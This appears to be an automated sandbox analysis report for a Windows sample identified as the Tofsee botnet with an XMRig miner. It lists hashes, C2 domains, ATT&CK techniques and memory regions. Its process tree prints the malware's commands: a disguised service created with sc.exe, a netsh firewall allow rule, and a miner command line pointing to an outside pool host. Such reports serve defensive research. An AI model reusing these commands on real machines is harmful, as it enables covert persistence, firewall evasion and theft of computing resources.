Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    26-05-2023 07:42

General

  • Target

    531c2ef448a0a783616805d90baa648e.exe

  • Size

    233KB

  • MD5

    531c2ef448a0a783616805d90baa648e

  • SHA1

    930ac8c50ef9b89cfb090925a6606ed38e16f3f4

  • SHA256

    bdb1300eaa48c72e69b79d88bc6c877d26fd770fbd3a95c7684ecca4795e7b53

  • SHA512

    07d92e128846b552ef3694f1a3c085c97564439429a485ae5555d073197df7a68827fd5a84447ee8f81d06d6d861faa68601c763bd3c9fb048e100e2f16e74f6

  • SSDEEP

    3072:8kIlnYvQUkT2ynW7pWoxOxT+DmhtfNlc07j7AoxQTdVWfWS2X9Zo/D:T+wsMxO9+DwNq07n7QTjWfWNLo7

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\531c2ef448a0a783616805d90baa648e.exe
    "C:\Users\Admin\AppData\Local\Temp\531c2ef448a0a783616805d90baa648e.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1212
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ivyoimog\
      2⤵
        PID:2044
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\oeebnzpn.exe" C:\Windows\SysWOW64\ivyoimog\
        2⤵
          PID:1220
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ivyoimog binPath= "C:\Windows\SysWOW64\ivyoimog\oeebnzpn.exe /d\"C:\Users\Admin\AppData\Local\Temp\531c2ef448a0a783616805d90baa648e.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:736
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description ivyoimog "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:520
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start ivyoimog
          2⤵
          • Launches sc.exe
          PID:1524
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1428
      • C:\Windows\SysWOW64\ivyoimog\oeebnzpn.exe
        C:\Windows\SysWOW64\ivyoimog\oeebnzpn.exe /d"C:\Users\Admin\AppData\Local\Temp\531c2ef448a0a783616805d90baa648e.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1544
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:884
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.70000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:540

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      New Service

      1
      T1050

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Privilege Escalation

      New Service

      1
      T1050

      Defense Evasion

      Disabling Security Tools

      1
      T1089

      Modify Registry

      2
      T1112

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\oeebnzpn.exe
        Filesize

        14.2MB

        MD5

        dfef1f209c8970671c108d2aa05a8ccc

        SHA1

        c1a3643c6b9a522dc5ede9b3d612424cb19ef623

        SHA256

        c57dba99543f3e752173e4afee5783ba7a291e99ff01a689cee27c589517aad9

        SHA512

        3f54afd5b1d7c4577506539982d14a08de5bc59e1113a4d672e625ff3ec089885e33408a9383a1ea63bfd8b5a0308c4fdda60ae8f49d12a7aa5f5b31f8ddb31b

      • C:\Windows\SysWOW64\ivyoimog\oeebnzpn.exe
        Filesize

        14.2MB

        MD5

        dfef1f209c8970671c108d2aa05a8ccc

        SHA1

        c1a3643c6b9a522dc5ede9b3d612424cb19ef623

        SHA256

        c57dba99543f3e752173e4afee5783ba7a291e99ff01a689cee27c589517aad9

        SHA512

        3f54afd5b1d7c4577506539982d14a08de5bc59e1113a4d672e625ff3ec089885e33408a9383a1ea63bfd8b5a0308c4fdda60ae8f49d12a7aa5f5b31f8ddb31b

      • memory/540-111-0x0000000000150000-0x0000000000241000-memory.dmp
        Filesize

        964KB

      • memory/540-124-0x0000000000150000-0x0000000000241000-memory.dmp
        Filesize

        964KB

      • memory/540-123-0x0000000000150000-0x0000000000241000-memory.dmp
        Filesize

        964KB

      • memory/540-122-0x0000000000150000-0x0000000000241000-memory.dmp
        Filesize

        964KB

      • memory/540-121-0x0000000000150000-0x0000000000241000-memory.dmp
        Filesize

        964KB

      • memory/540-120-0x0000000000150000-0x0000000000241000-memory.dmp
        Filesize

        964KB

      • memory/540-119-0x0000000000150000-0x0000000000241000-memory.dmp
        Filesize

        964KB

      • memory/540-112-0x0000000000150000-0x0000000000241000-memory.dmp
        Filesize

        964KB

      • memory/884-88-0x0000000000380000-0x0000000000390000-memory.dmp
        Filesize

        64KB

      • memory/884-93-0x0000000000380000-0x0000000000390000-memory.dmp
        Filesize

        64KB

      • memory/884-74-0x0000000001A80000-0x0000000001C8F000-memory.dmp
        Filesize

        2.1MB

      • memory/884-75-0x0000000000230000-0x0000000000236000-memory.dmp
        Filesize

        24KB

      • memory/884-78-0x0000000000380000-0x0000000000390000-memory.dmp
        Filesize

        64KB

      • memory/884-81-0x0000000000380000-0x0000000000390000-memory.dmp
        Filesize

        64KB

      • memory/884-82-0x0000000000380000-0x0000000000390000-memory.dmp
        Filesize

        64KB

      • memory/884-83-0x0000000000380000-0x0000000000390000-memory.dmp
        Filesize

        64KB

      • memory/884-84-0x0000000000380000-0x0000000000390000-memory.dmp
        Filesize

        64KB

      • memory/884-85-0x0000000000380000-0x0000000000390000-memory.dmp
        Filesize

        64KB

      • memory/884-86-0x0000000000380000-0x0000000000390000-memory.dmp
        Filesize

        64KB

      • memory/884-87-0x0000000000380000-0x0000000000390000-memory.dmp
        Filesize

        64KB

      • memory/884-61-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
        Filesize

        4KB

      • memory/884-89-0x0000000000380000-0x0000000000390000-memory.dmp
        Filesize

        64KB

      • memory/884-90-0x0000000000380000-0x0000000000390000-memory.dmp
        Filesize

        64KB

      • memory/884-91-0x0000000000380000-0x0000000000390000-memory.dmp
        Filesize

        64KB

      • memory/884-92-0x0000000000380000-0x0000000000390000-memory.dmp
        Filesize

        64KB

      • memory/884-71-0x0000000001A80000-0x0000000001C8F000-memory.dmp
        Filesize

        2.1MB

      • memory/884-94-0x0000000000380000-0x0000000000390000-memory.dmp
        Filesize

        64KB

      • memory/884-95-0x0000000000380000-0x0000000000390000-memory.dmp
        Filesize

        64KB

      • memory/884-96-0x0000000000380000-0x0000000000390000-memory.dmp
        Filesize

        64KB

      • memory/884-97-0x0000000000380000-0x0000000000390000-memory.dmp
        Filesize

        64KB

      • memory/884-98-0x0000000000390000-0x0000000000395000-memory.dmp
        Filesize

        20KB

      • memory/884-101-0x0000000000390000-0x0000000000395000-memory.dmp
        Filesize

        20KB

      • memory/884-102-0x0000000005A80000-0x0000000005E8B000-memory.dmp
        Filesize

        4.0MB

      • memory/884-105-0x0000000005A80000-0x0000000005E8B000-memory.dmp
        Filesize

        4.0MB

      • memory/884-106-0x00000000004A0000-0x00000000004A7000-memory.dmp
        Filesize

        28KB

      • memory/884-110-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/884-69-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/884-68-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/884-67-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/884-60-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/884-62-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1212-66-0x0000000000400000-0x00000000006B8000-memory.dmp
        Filesize

        2.7MB

      • memory/1212-56-0x0000000000220000-0x0000000000233000-memory.dmp
        Filesize

        76KB

      • memory/1544-64-0x0000000000400000-0x00000000006B8000-memory.dmp
        Filesize

        2.7MB